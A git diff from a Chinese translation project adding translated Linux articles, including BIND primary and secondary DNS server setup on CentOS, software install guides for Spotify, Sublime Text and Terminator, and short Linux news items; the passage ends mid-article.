/var/named/chroot/var/named/* + +现在,我们为DNS服务器设置IP地址。 + + # vim /etc/resolv.conf + +> nameserver 172.16.1.3 + +最后,我们可以启动DNS服务,并确保将它添加到启动服务中。 + + # service named restart + # chkconfig named on + +DNS服务器起动后,建议关注一下日志文件/var/log/messages,这里头包含了后台运行的一些有用信息。如果没有发现错误,我们可以开始测试DNS服务器。 + +### 测试DNS ### + +我们可以使用dig或者nslookup来测试DNS。首先,我们需要安装必要的软件包。 + + # yum install bind-utils + +#### 1. 使用dig测试转发区域 #### + +使用dig来测试时,必须时刻关注状态信息:“NOERROR”,任何其它值都表明存在问题。 + + # dig example.tst + +---------- + + ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31184 + + ;; QUESTION SECTION: + ;example.com. IN A + + ;; ANSWER SECTION: + example.com. 86400 IN A 172.16.1.3 + + ;; AUTHORITY SECTION: + example.com. 86400 IN NS ns1.example.com. + + ;; ADDITIONAL SECTION: + ns1.example.com. 86400 IN A 172.16.1.3 + +#### 2. 使用dig测试PTR记录 #### + +使用dig来测试时,必须时刻关注状态信息:“NOERROR”,任何其它值都表明存在问题。(译注,也可用 dig 1.1.16.172.in-addr.arpa. ptr 来测试。) + + # dig -x 172.16.1.1 + +---------- + + ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27415 + + ;; QUESTION SECTION: + ;1.1.17.172.in-addr.arpa. IN PTR + + ;; ANSWER SECTION: + 1.1.16.172.in-addr.arpa. 86400 IN PTR mail.example.tst. + + ;; AUTHORITY SECTION: + 1.16.172.in-addr.arpa. 86400 IN NS ns1.example.tst. + + ;; ADDITIONAL SECTION: + ns1.example.tst. 86400 IN A 172.16.1.3 + +#### 3. 使用dig测试MX记录 #### + + # dig example.tst mx + +---------- + + ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35405 + + ;; QUESTION SECTION: + ;example.tst. IN MX + + ;; ANSWER SECTION: + example.tst. 14366 IN MX 10 mail.example.tst. + +### 排错提示 ### + +1. 我已经把SELinux关闭。 +2. 保证防火墙没有阻挡UDP 53端口 +3. 万一出错,可在/var/log/messages中查看到有用的信息 +4. 确保区域文件的属主为‘named’ +5. 确保DNS服务器的IP地址是/etc/resolv.conf中的第一条目 +6. 如果你使用example.tst作为实验环境,确保将服务器从互联网断开,因为example.tst是一个不存在的域。 + +最后小结,该教程关注的是实验环境中配置example.tst域用作为演示。请注意,该教程中创建了一台公共DNS服务器,此服务器会回应来自任何源IP地址的查询。如果你是在配置DNS生产服务器,请确保检查与公共DNS相关的策略。其它教程涵盖了[创建从DNS服务器][2], [限制对DNS服务器的访问][1]以及部署DNSSEC。 + +希望此教程对您有所帮助。 +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/04/primary-dns-server-using-centos.html + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/2014/04/close-open-dns-resolver.html +[2]:http://xmodulo.com/2014/04/secondary-dns-server-centos.html diff --git a/published/201405/How to set up a secondary DNS server in CentOS.md b/published/201405/How to set up a secondary DNS server in CentOS.md new file mode 100644 index 0000000000..5d60ab9ea6 --- /dev/null +++ b/published/201405/How to set up a secondary DNS server in CentOS.md @@ -0,0 +1,186 @@ +如何在CentOS中创建辅域名服务器 +================================================================================ +在[上篇教程][1]里,我们为一个测试域exmample.tst创建了一个主域名服务器(ns1)。在本篇中,我们会在CentOS中使用bind包为相同的域创建一个辅域名服务器(ns2)。 + +当创建一个辅DNS服务器的时候,下面的因素需要仔细考虑。 + +- 在辅域名服务器中,你不需要手动创建正向和反向区域文件。这些区域文件会定期从主域名服务器上面同步。 +- 当主域名服务器上的任何区域文件被修改的时候,'serial'参数也应当被更新。只有当主服务器上面区域文件的serial被修改之后,辅DNS服务器才会进行同步。 + +我们假设辅DNS服务器的IP地址是172.16.1.4。让我们来进行安装。 + +### 设置主机名 ### + +就像主域名服务器一样,辅域名服务器的主机名也应当是一个完全限定域名(FQDN)。 + + # vim /etc/sysconfig/network + +> HOSTNAME=ns2.example.tst + +注意,在该文件中设置的主机名在服务器启动的时候会被使用。因此,如果你在系统启动之后修改该文件,修改结果不会立刻生效。下面的命令可以用来在系统运行的时候修改并及时生效。 + + # hostname ns2.example.tst + +设置之后,可以用下面的命令来查看主机名称。 + + # hostname +---- + ns2.example.tst + +在进行下面的步骤之前,确保所有三台服务器的主机名称已经被正确设置。 + +### 安装软件包 ### + +就像[主服务器][1]一样,配置一台辅域名服务器可以使用chroot或者不用。必须的软件包可以使用yum轻松安装。 + +不使用 chroot: + + # yum install bind + +使用 chroot: + + # yum install bind-chroot + +### 为区域文件的传输准备配置文件 ### + +在CentOS中使用bind创建域名服务器后,默认设置允许所有的区域文件被任意服务器同步。安全起见,我们需要配置主域名服务器,只允许它允许辅域名服务器进行同步。 + +#### 1. 主域名服务器 #### + +不使用chroot: + + # vim /etc/named.conf + +使用chroot: + + # vim /var/named/chroot/etc/named.conf + +---------- + + zone "example.tst" IN { + type master; + file "example-fz"; ## 文件example-fz在主域名服务器上 ## + allow-update { none; }; + allow-transfer {172.16.1.4; }; ## 允许辅域名服务器进行传输 ## + }; + + zone "1.16.172.in-addr.arpa" IN { + type master; + file "rz-172-16-1"; ##文件rz-172-16-1在主域名服务器上## + allow-update { none; }; + allow-transfer {172.16.1.4; }; ## 允许辅域名服务器进行传输 ## + }; + +#### 2. 辅域名服务器 #### + +软件安装后提供的默认配置文件就可以用来配置辅域名服务器。但是,我们使用会使用另外一个实例配置文件来进行配置,因为这样便于调整。 + +不使用chroot: + + # cp /usr/share/doc/bind-9.8.2/sample/etc/named.rfc1912.zones /etc/named.conf + +使用chroot: + + # cp /usr/share/doc/bind-9.8.2/sample/etc/named.rfc1912.zones /var/named/chroot/etc/named.conf + +当执行完上面的命令进行文件拷贝后,添加下面的内容到刚才那个拷贝后的文件中。 + + options { + directory "/var/named"; + forwarders {8.8.8.8; }; + + }; + + zone "example.tst" IN { + type slave; ## 该主机为辅域名服务器 ## + file "example-fz"; ## 这个文件会被自动创建 ## + //allow-update { none; }; + allow-transfer {172.16.1.3; }; ## 定义必要时进行从其传输的主域名服务器 ## + masters {172.16.1.3; }; ## 定义主域名服务器 ## + }; + + zone "1.16.172.in-addr.arpa" IN { + type slave; ## 该主机被定义为辅域名服务器 ## + file "rz-172-16-1"; ## 这个文件会被自动创建 ## + // allow-update { none; }; + allow-transfer {172.16.1.3; }; ## 定义主域名服务器 ## + masters {172.16.1.3; }; + }; + +### 结束工作 ### + +为了确保没有权限相关的问题,我们需要做如下调整。 + +不使用chroot: + + chmod 770 /var/named/ + +使用chroot,你需在named服务启动后按照下面的命令修改权限。 + + # chmod 770 /var/named/chroot/var/named + +现在万事俱备,我们可以重启named服务。或者,确保named服务已经被加到了开始列表中。 + + # service named restart + # chkconfig named on + +如果不出意外,辅域名服务器应该会向主域名服务器请求一个区域的传输,并且产生自己的/var/named目录。日志文件/var/log/messages会包含一些named服务的有用信息,包括区域文件传输过程中的信息。 + +### 测试一个辅域名服务器 ### + +我们可以使用dig或者nslookup进行DNS测试操作。在本篇教程中我们会使用nslookup来进行演示。必要的软件包可以通过yum进行安装。 + + # yum install bind-utils + # nslookup + +---------- + + > server 172.16.1.4 + Default server: 172.16.1.4 + Address: 172.16.1.4#53 + + > example.tst + Server: 172.16.1.4 + Address: 172.16.1.4#53 + + Name: example.tst + Address: 172.16.1.3 + + > set type=mx + > example.tst + Server: 172.16.1.4 + Address: 172.16.1.4#53 + + example.tst mail exchanger = 10 mail.example.tst. + + > exit + +### 排错提示 ### + +1. 我们无需在辅域名服务器上创建任何区域文件。所有的区域文件都会与主域名服务器进行同步。 + +2. 辅域名服务器上的named服务会定期与主服务器进行同步。如果你想来一次及时的同步,可以使用命令"rncd retransfer "。如下: + + # rndc retransfer example.tst + +3. 只有当主服务器上区域文件的serial数字被修改变大的时候,辅域名服务器才会进行更新。 + +4. 确保用户named可以对文件夹/var/named或者/var/named/chroot/var/named(使用chroot的情况下)进行写操作。 + +5. /var/log/messages会包含有用的信息。 + +6. 我已经将SELinux关闭了。 + +7. 确保防火墙对UDP53端口开放。 + +希望这个可以帮到你。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/04/secondary-dns-server-centos.html + +译者:[zzlyzq](https://github.com/zzlyzq) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-3092-1.html diff --git a/published/201405/How to speed read on Linux.md b/published/201405/How to speed read on Linux.md new file mode 100644 index 0000000000..d1fb5e8855 --- /dev/null +++ b/published/201405/How to speed read on Linux.md @@ -0,0 +1,53 @@ +如何在Liunx中“快速阅读”? +=============================== +你听说过“快速阅读”吗?说实话我也没有。直到一个名叫Spritz的新型公司[筹集了350万种子基金][1]来开发使用户能够实现每分钟阅读1000个单词的一个API。 + +“快速阅读”的概念十分简单:将一文本分割成一个个独立短小的部分,像一两个单词,然后使这些部分迅速地闪过屏幕。在这一阅读过程中,读者的眼睛完全不需要运动,从而减少读者平常阅读中花费的不必要的浏览页面的时间。因为这是一件相对较新的技术,没人知道在这样的阅读速度下,你的大脑是否会爆炸或者崩溃。不过,实际上[这技术是十分安全的][2],因为你的大脑运行地足够快来处理这些信息。一旦人们习惯了这种阅读方式,这种方式会变得十分方便。想必你像我一样已经对这项技术的到来已经激动万分了,但我并不想等待,而是更快地习惯这种阅读方式。好消息是:现在你就可以在你最喜爱的操作系统下尝试“快速阅读”了。 + +### 1. Spread0r### + +![](https://farm8.staticflickr.com/7145/13750477263_6618438d38_z.jpg) + +基于Perl和GTK2,[spread0r][3](曾名为Gritz)是一个GPL软件,它以文本文档作为输入,然后将文本内容在你眼前以最高1000词每分钟速度闪过。当然你可以先尝试较慢的速度,来慢慢熟悉它。软件的用户界面十分简介,功能按键几乎极简:开始文章阅读,选择阅读速度,推出等等。这个软件也有一些需要改进的地方,我建议使其能够支持除了文本文档之外的其他文件作为输入(当然你也可以自己转换格式),另外也可以考虑加入“无干扰”模式。不管怎样,这款软件是十分高大上的。 + +你可以通过从[github][4]中下载源码并启动“spread0r.pl”文件来尝试Spread0r。注意你先需要在你的操作系统中安装GTK2以及Perl. + + $ sudo apt-get install libgtk2-perl (for Debian/Ubuntu) + $ sudo pacman -S gtk2-perl (for Archlinux) + $ sudo yum install perl-gtk2 (for Fedora) + +### 2. Spread ### + +![](https://farm8.staticflickr.com/7330/13750836154_34774f1a69_z.jpg) + +除电子书以及word文档之外,我在电脑中阅读最多的就是来自网络的文章了(是的,就是这样)。如果我需要复制并黏贴我需要阅读的文本到一个文本编辑器中,将其保存为一个txt文档,然后用Spread0r打开,这样事情会变得太麻烦了。幸运的是,Chrome的一个拓展程序[Spread][5]会为我们处理这个需求。在你的Chrome浏览器中安装并启用Spread之后,你只需要选择你想要“快速阅读”的文本,在选取内右击,然后选择“Spreed selected text.”这个拓展程序会开启一个新窗口,你选择的文本就会在那个窗口中为你进行快速阅读。我喜欢这个和用扩展程序的方式集成到Chrome做法。比如说,你可以选择窗口的配色,一次快速阅读的文本量,字体大小,通过空格键控制的开始以及暂停,你甚至可以进行高于4,000词每分钟的快速阅读(但这已经不是快速阅读了,你只能看到零星的闪烁)。 + +### 3. Squirt ### + +![](https://farm4.staticflickr.com/3673/13750455205_70c44f91c0_z.jpg) + +如果您喜欢在浏览器中快速阅读的点子,但是你不使用Chrome,也不喜欢“扩展程序”,对此的解决方案是书签[Squirt][6]。除了Squirt这个不明觉厉的名字之外,Squirt是我现在最喜欢的快速阅读工具。它十分高效并且使用简单。从[这里][7]加入它,通过把那个蓝色大按钮拖进你最喜欢的书签栏中。然后你就可以在任何网页中打开它,无论是否选中了阅读文本——一个白色的面板会出现在当前页面之上。你可以凭直觉来控制阅读文本。用户界面十分漂亮,而且它也可以实现4,000词以上的阅读速度。 + +### Bonus: Zethos ### + +如果之前提及的方案没有一个能使你满意,而且你是一名程序员,你会很高兴地发现有一个叫做[Zethos][8]的免费及开源的JS项目,你可以通过使用它来开发你自己的“快速阅读”应用。你可以在[github][9]上查看代码,并为作者点个赞。 + +总而言之,你现在没有理由不在你最爱的操作系统进行“快速阅读”了。你只需要防止你的大脑被烧焦就行了。你更喜欢以上的哪个解决方案呢?或者你有另外更好的选择?你认为“快速阅读”在未来能够发展吗?在评论区中评论让我们知道你的想法。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/04/speed-read-linux.html + +译者:[ThomazL](https://github.com/ThomazL) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://techcrunch.com/2014/03/10/spritz-seed/ +[2]:http://www.spritzinc.com/faq/ +[3]:https://github.com/xypiie/spread0r +[4]:https://github.com/xypiie/spread0r +[5]:https://chrome.google.com/webstore/detail/spreed-speed-read-the-web/ipikiaejjblmdopojhpejjmbedhlibno +[6]:http://www.squirt.io/ +[7]:http://www.squirt.io/install.html +[8]:http://zethos.zolmeister.com/ +[9]:https://github.com/Zolmeister/Zethos diff --git a/published/201405/Improving The Linux Desktop.md b/published/201405/Improving The Linux Desktop.md new file mode 100644 index 0000000000..e2003a82fb --- /dev/null +++ b/published/201405/Improving The Linux Desktop.md @@ -0,0 +1,26 @@ +Linux 桌面的发展之路 +================================================================================ +Ken Starks 在 fossforce.com 网站上问 [你们是如何优化 Linux 的?][1],我很高兴他问了这个问题,因为我有话要说!对我来说,Linux 桌面就是一连串的承诺,但是这些承诺却总是无法兑现。它在每个版本发布后都会说“下个版本会非常牛X”,=.=凸。它会一次性定下50个目标,然后又完成不了几个。至于 Linux 桌面,我想我们是时候好好聊聊这玩意儿了。 + +计算机有着无穷的魅力,在计算机的世界里我们几乎能做所有事情。在这个容易迷失的世界里,我们深信自己所着迷的事情对其他人也有着相同的吸引力。我们沉迷于钻研细节,争论 GPL 和 LGPL 的区别,讨论为什么我们称“Linux”为“GNU/Linux”而不是简单的“Linux”,诸如此类,我们总想说服别人,推销自己喜欢的 Linux 桌面风格。我们总是说“这关乎自由,瞧瞧苹果是怎么限制你的选择的!”却从来没意识到那些选择了不同计算机系统的用户仅仅是把计算机当作工作所需的工具而已。对于我们来说,计算机有点儿像变戏法,当第一次动手修改一些重要配置,改变计算机的工作方式时,我们会非常激动,非常有成就感。在开源界,你是这个世界的主宰,你沉迷于控制一切。然而,对于那些没有准备好掌握这种控制一切的力量的人来说,开源社区并不是他们的菜。 + +大多数工程师并不是设计师,但开源社区能让这些开发者成为一些图形交互界面的设计者。于是,我们的 Unity 不再显示主菜单,我们的 Gnome 3 窗口可以満屏幕乱飞,而 KDE 桌面,我一直觉得它完全无法理解,所以我已经好多年没关注它了(在这里向 KDE 开发团队和其支持者表示道歉,我无法理解 KDE 是好几年前的事了,我相信现在的 KDE 肯定能用 awesome 来形容)。前面提到的在 fossforce.com 网站上的那篇文章提了一个很好的问题:为什么 Linux 桌面总是不能像人们所希望的那样普及出来。而文章下面的评论则是一堆社区成员的抱怨和建议,比如:让窗口更好地整合在一起;让添加磁盘变得更简单些。很多评论都是很好的、可行的建议,但他们大多数都忽略了一个核心事实:是什么让 Linux 成为一个既精彩但又前途暗淡的、只属于狂热爱好者的系统?Linux 发行版是由非常多的软件包组成的,每个软件包都有不同的维护者,不同的价值和不同的开发过程。当每个开发团队将他们的产品通过开源社区贡献出来时,每个开发团队会变得只有一点点不一样,而仅仅是这一点点的不一样,让我们对细枝末节的探索有了发挥的余地。有些人不喜欢 Ubuntu 桌面,于是他们克隆 Ubuntu,在上面作一些细微的改变,然后重新发布一个衍生版。这种方式挺不错的,因为它能带来新点子,向人们展示一个事物能够变成什么样子 —— 即使是很小的改变。但是每当新产生一个衍生版,就会将开源社区变得更碎片化一些。这到底是好事还是坏事?看你是站在什么角度来看。 + +Linux 桌面是建立在成千上万的软件基础之上的,每个软件由不同团队维护。有时候我们会想这样的东西究竟能不能工作?!事实是,它能,并且工作得非常好,这真是一个奇迹。然而有时候它又不工作了,它会崩溃,在这种时候我们就会列出一连串的计划来改进 Linux,并将我们最不能忍受的缺陷放在计划的最前面。 + +经过上面的讨论,我的建议出来了。第一点:继续做你正在做的事。技术总是能反映创造者的价值,而 Linux 桌面更是一个多国家多文化集合的体现。Linux 充满缺陷,充满伤痕,但也是因为这些,令它变得美好。世界需要现在的 Linux 桌面,同时世界需要更好的 Linux 桌面。 + +第二点:选一个发行版,比如 Ubuntu,弄烂它。然后,拾起一些碎片,在这些碎片上创造一些全新的东西。不要从社区获取软件或者产品,只需要获取想法。从内核开始,一个团队,一个房间,一种设计理念和设计哲学,从头创建一整个操作系统。将注意力集中在那些最好的已经实现的想法上,以及那些最新的还没实现的想法上。丢掉所有糟糕的东西,创造全新的东西。 + +到目前为止,我见过的最接近这种观念的是 Aral Balkan 开发的 [Indie][2] 项目,但他最近貌似专注于移动市场。我希望 Linux 桌面朝着这种观念靠近。这有可能么?当然,一切皆有可能。但确定会发生么?谁知道呢?整个 Linux 生态系统都充满不确定性。唯一确定的是,我们的创造性是无限的。 + +-------------------------------------------------------------------------------- + +via: http://ostatic.com/blog/improving-the-linux-desktop + +译者:[bazz2](https://github.com/bazz2) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://fossforce.com/2014/04/what-would-you-do-to-improve-linux/ +[2]:http://indiephone.eu/ diff --git a/published/201405/Install Spotify In Ubuntu 14.04 & Linux Mint 17.md b/published/201405/Install Spotify In Ubuntu 14.04 & Linux Mint 17.md new file mode 100644 index 0000000000..af25a0d501 --- /dev/null +++ b/published/201405/Install Spotify In Ubuntu 14.04 & Linux Mint 17.md @@ -0,0 +1,36 @@ +在Ubuntu/Mint中安装 Spotify +================================================================================ +Spotify 是一个现今非常流行的流媒体音乐服务。不仅可以在网页上访问其服务,而且可以在 linux 中安装其桌面客户端。这个客户端增加了额外的功能,比如听播放本地音乐和同步本地音乐到Spotify 服务器、或同步本地音乐到iPhone 、iPod等其它移动设备。 + +在本文将讨论如何快速 **在 Ubuntu 14.04 安装 Spotify ** 以及其它基于 Debian 的发行版,如 Linux Mint, Elementary OS, Bodhi 等等。 + +### 在Ubuntu 14.04 和 Linux Mint 17 中安装 Spotify ### + +现在开始安装 Spotify 桌面客户端,打开一个终端(Ctrl+Alt+T) 使用如下命令: + + sudo sh -c 'echo "deb http://repository.spotify.com stable non-free" >> /etc/apt/sources.list.d/spotify.list' + +这行命令将增加上述仓库到软件的源列表,然后增加 GPG Key: + + sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 94558F59 + +下一步比较简单。更新和安装 Spotify 客户端: + + sudo apt-get update + sudo apt-get install spotify-client + +这样就安装完成了。现在可以在Unity Dash (ubuntu 中) 上通过搜索Spotify 来启动它。在 Ubuntu 环境下,Spotify 客户端整合的非常好。这是 Spotify 在 Ubuntu 14.04 下的界面: + +![](http://itsfoss.com/wp-content/uploads/2014/05/Spotify_Ubuntu_Linux.jpeg) + +我希望本文能帮助你在 Ubuntu 和其它 Linux OS 下安装 Spotify 客户端。 我想这可以算作在 [安装 Ubuntu 14.04 之后需要做的事情][1]。 中的第一件。如何发现它呢? 使用过其它类似 Spotify 的服务吗? 一起来分享你的观点吧。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-spotify-ubuntu-1404/ + +译者:[liushui312](https://github.com/liushui312) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://itsfoss.com/things-to-do-after-installing-ubuntu-14-04/ diff --git a/published/201405/Install Sublime Text 3 (Build 3059) In Manjaro or Arch Linux.md b/published/201405/Install Sublime Text 3 (Build 3059) In Manjaro or Arch Linux.md new file mode 100644 index 0000000000..00c7ba5714 --- /dev/null +++ b/published/201405/Install Sublime Text 3 (Build 3059) In Manjaro or Arch Linux.md @@ -0,0 +1,45 @@ +一条命令在Manjaro/Arch Linux上安装Sublime Text 3 +================================================================================ +[Sublime Text 3][1]目前还处于beta测试状态,目前最新的版本为Build 3059。 这个教程中我们将通过AUR安装Sublime Text 3 build 3059。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/Sublime_text_3_manjaro.png) + +打开终端并运行下列命令, 选择是否(Y/N)继续安装(这里选择Y)。 + + sudo yaourt -S sublime-text-dev + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/sublime_text_3_AUR.png) + + loading packages... + resolving dependencies... + looking for inter-conflicts... + Packages (1): sublime-text-dev-3.3059-1 + Total Installed Size: 16.02 MiB + :: Proceed with installation? [Y/n] y + (1/1) checking keys in keyring [########################################] 100% + (1/1) checking package integrity [########################################] 100% + (1/1) loading package files [########################################] 100% + (1/1) checking for file conflicts [########################################] 100% + (1/1) checking available disk space [########################################] 100% + (1/1) installing sublime-text-dev [########################################] 100% + +---------- + + ==> sublime-text-dev install/upgrade note: + ------------------------------------------------------------------------------ + To disable in-application reminders about new Sublime Text dev versions, + add the following setting to your User Preferences file: + "update_check": false + ------------------------------------------------------------------ + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/sublime_text_3.png) + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-sublime-text-3-build-3059-manjaroarch-linux/ + +译者:[alim0x](https://github.com/alim0x) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.sublimetext.com/3 diff --git a/published/201405/Install Terminator--Multiple GNOME terminals in one window.md b/published/201405/Install Terminator--Multiple GNOME terminals in one window.md new file mode 100644 index 0000000000..2227f77b19 --- /dev/null +++ b/published/201405/Install Terminator--Multiple GNOME terminals in one window.md @@ -0,0 +1,39 @@ +安装 Terminator:一个支持多终端的终端 +================================================================================ +Terminator 是一个程序,它可让用户自由地排布多个 GNOME 终端,而不用通过窗口管理器来实现,比较适合需要同时打开多个终端的用户。 + +### 特性 ### + +- 在一个窗口显示多个终端 +- 可在上面的窗口里面使用你自己喜欢的 shell (Bash、zsh 等等,Terminator 不会限制它们) +- 当前工作终端与当前非工作终端的标题背景颜色明显区分(见图1) + +### 安装 ### + +Debian/Ubuntu/Linux Mint/ Elementary 系统: + + % sudo apt-get install terminator + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/04/Terminator_Linux_Mint.png) + +*图 1. Linux Mint 16 上安装 Terminator * + +Fedora/CentOS 系统: + + % sudo yum install terminator + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/04/Terminator_Fedora.png) + + *图 2. Fedora 20 上安装 Terminator* + +详情请看 manual: **$ man terminator** + +祝玩得开森! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-terminator-multiple-gnome-terminals-one-window/ + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201405/Limit Theory Developer Switches to Linux Because Windows Is Annoying.md b/published/201405/Limit Theory Developer Switches to Linux Because Windows Is Annoying.md new file mode 100644 index 0000000000..2aa0909eef --- /dev/null +++ b/published/201405/Limit Theory Developer Switches to Linux Because Windows Is Annoying.md @@ -0,0 +1,34 @@ +Limit Theory游戏开发者转到Linux开发,原因是Windows很烦人 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Limit-Theory-Developer-Switches-to-Linux-Because-Windows-is-Annoying-441642-3.jpg) + + +极限理论(Limit Theory),一个无限的程序性的空间模拟游戏,这个游戏的开发者仅一个人,游戏将会发布在Linux、Windows和Mac OS X上。开发者宣布从Windows平台转到Linux上主要是因为他不耐烦了。 + +极限理论听起来像一个不可能的项目,特别是对于它是由一个人开发。游戏的开发者Josh Parnell自己已经努力建立一个美丽的宇宙,并提供对三个不同平台的支持。 + +他能够这样做是因为这个游戏用C++和OpenGL写的,这使游戏可以轻易地转移到任何平台开发。在最近的关于极限理论的更新中,他解释说,他不再使用Winsows平台,因为它很“烦人”,但是没有提供具体原因。 + +甚至Linux基金会也已经注意他而且决定推动他正在做的工作,特别是因为他是一个人搞定了所有事情,他要做从核心程序到环境音乐的任何事。 + +“游戏开发者Josh Parnell已经发布了关于他的开放空间模拟和策略游戏——极限理论的开发更新。”图形很漂亮,但这次发布更是值得注意,因为Parnell已经从放弃Windows而转为开放原生的Linux客户端(他说Windows很烦人)。" + +“极限理论是在2012年12在Kickstarter筹到资的,计划的发布日期是2014年初。当它完成时,游戏者将能够探索星际空间,在小行星上斟探和开采,指挥一队或更多的星舰。”Linux基金会在其[网站][1]上这样描述。 + +极限理论最有趣的方面是无限的宇宙,这起初听起来可能会感觉很奇怪或者像是一个营销噱头。实际上,Josh Parnell 制作了一个很智能的引擎,当玩家在宇宙中发展时这个引擎产生系统,星球,NPC,几乎所有的东西。 + +这些元素在游戏开始时不存在,他们在玩家游戏运行时产生。这也意味着没有两个玩家的游戏过程是相同的。 + +极限理论在Kickstarter筹到了需要的资金,开发者正在全力以赴地开发,但是这是一个艰巨的任务,完成需要一些时间。即使原计划的发布时间2014年1月已经过了,粉丝们都愿意等待,特别是看到游戏将能够做什么之后。 + +期待它吧! + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Limit-Theory-Developer-Switches-to-Linux-Because-Windows-is-Annoying-441642.shtml + +译者:[linuhap](https://github.com/linuhap) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxfoundation.org/news-media/blogs/browse/2014/05/linux-video-week-limit-theory-game-developer-switches-linux \ No newline at end of file diff --git a/published/201405/Linux Mint Will Only Use Ubuntu LTS Releases from Now On.md b/published/201405/Linux Mint Will Only Use Ubuntu LTS Releases from Now On.md new file mode 100644 index 0000000000..18ff432f16 --- /dev/null +++ b/published/201405/Linux Mint Will Only Use Ubuntu LTS Releases from Now On.md @@ -0,0 +1,29 @@ +Linux Mint以后将只基于Ubuntu LTS进行开发 +================================================================================ +![Linux Mint 17](http://i1-news.softpedia-static.com/images/news2/Linux-Mint-Will-Only-Used-Ubuntu-LTS-Releases-From-Now-On-442225-2.jpg) + +最新的 Linux Mint 17 “Qiana” RC 版本已经释出,本版本基于 Ubuntu 14.04 LTS(长期支持版本)。一个有趣的变化是,将来的数个版本都会基于长期支持版本。 + +Linux Mint的开发者已经决定只使用Ubuntu的LTS版本作为基础版本,这就意味着,之后几年的新版本将会始终基于同一个发行版。 + +“这样的决定将让Minit固定在LTS主干上。换句话说,我们的开发团队会在未来两年内基于基本差不多的底包用作Mint 17的开发,这会使得从17到17.1、17.2以及后续版本的升级过程变得更加平滑。” + +“重要的应用程序将会以反向移植的形式进行发布,我们希望这个改变能够加快我们开发的步伐,并且减少新本版本开发时的回归成本”,Clement Lefebvre在Linux Mint的[博客][1]说到。 + +这听起来或许并不会让你惊讶,不过此举意味着 Linux Mint 逐渐成为注重稳定的发行版,同时也意味着将会和 Ubuntu 14.04 LTS 一样能够得到长达 5 年(到 2019年)的技术支持。 + +你现在就可以从 Softpedia 下载 [Linux Mint 17 RC “Qiana” Cinnamon][2] 和 [Linux Mint 17 RC “Qiana” MATE][3] 。 + +注意这是一个开发版本,不应该使用在生产环境中,只用于测试用途。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Linux-Mint-Will-Only-Used-Ubuntu-LTS-Releases-From-Now-On-442225.shtml + +译者:[jiajia9linuxer](https://github.com/jiajia9linuxer) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://blog.linuxmint.com/?p=2613 +[2]:http://linux.softpedia.com/get/System/Operating-Systems/Linux-Distributions/Linux-Mint-17252.shtml +[3]:http://linux.softpedia.com/get/System/Operating-Systems/Linux-Distributions/Linux-Mint-Gloria-31769.shtml \ No newline at end of file diff --git a/published/201405/Linux World Domination and Steam Machines Delayed Until 2015.md b/published/201405/Linux World Domination and Steam Machines Delayed Until 2015.md new file mode 100644 index 0000000000..913bef9180 --- /dev/null +++ b/published/201405/Linux World Domination and Steam Machines Delayed Until 2015.md @@ -0,0 +1,33 @@ +Steam Machines 今年没戏了 +================================================================================ +![2014年 Steam Machines 将不会发布](http://i1-news.softpedia-static.com/images/news2/Linux-World-Domination-and-Steam-Machines-Delayed-Until-2015-444271-2.jpg) + +游戏社区急于期盼 Valve 发布的基于 Linux 的 Steam Machines(译注:一个基于Linux的游戏机),但是看起来这个混合游戏机会推迟到明年发布了。 + +Valve 并不是一个守时的公司,看起来即将到来的 Steam Machines (延迟)发布正好符合公司的风格。但是大家都在讨论的 Steam Machines 到底是个什么东西? + +一年半前该公司宣布推出 Steam Linux的客户端;数月前 Valve 发布了SteamOS,它是基于 Debian 的一个游戏机和PC混合的 Linux 发行版。该产品将和 PlayStation 4 和 Xbox 共同争夺家庭市场。 + +唯一的不同是 Valve 对这个游戏机架构有些不同的想法。他们想使得游戏机可以使用大量第三方公司开发的组件升级,而这些组件符合统一的标准。 + +为了使得游戏体验更好,Valve 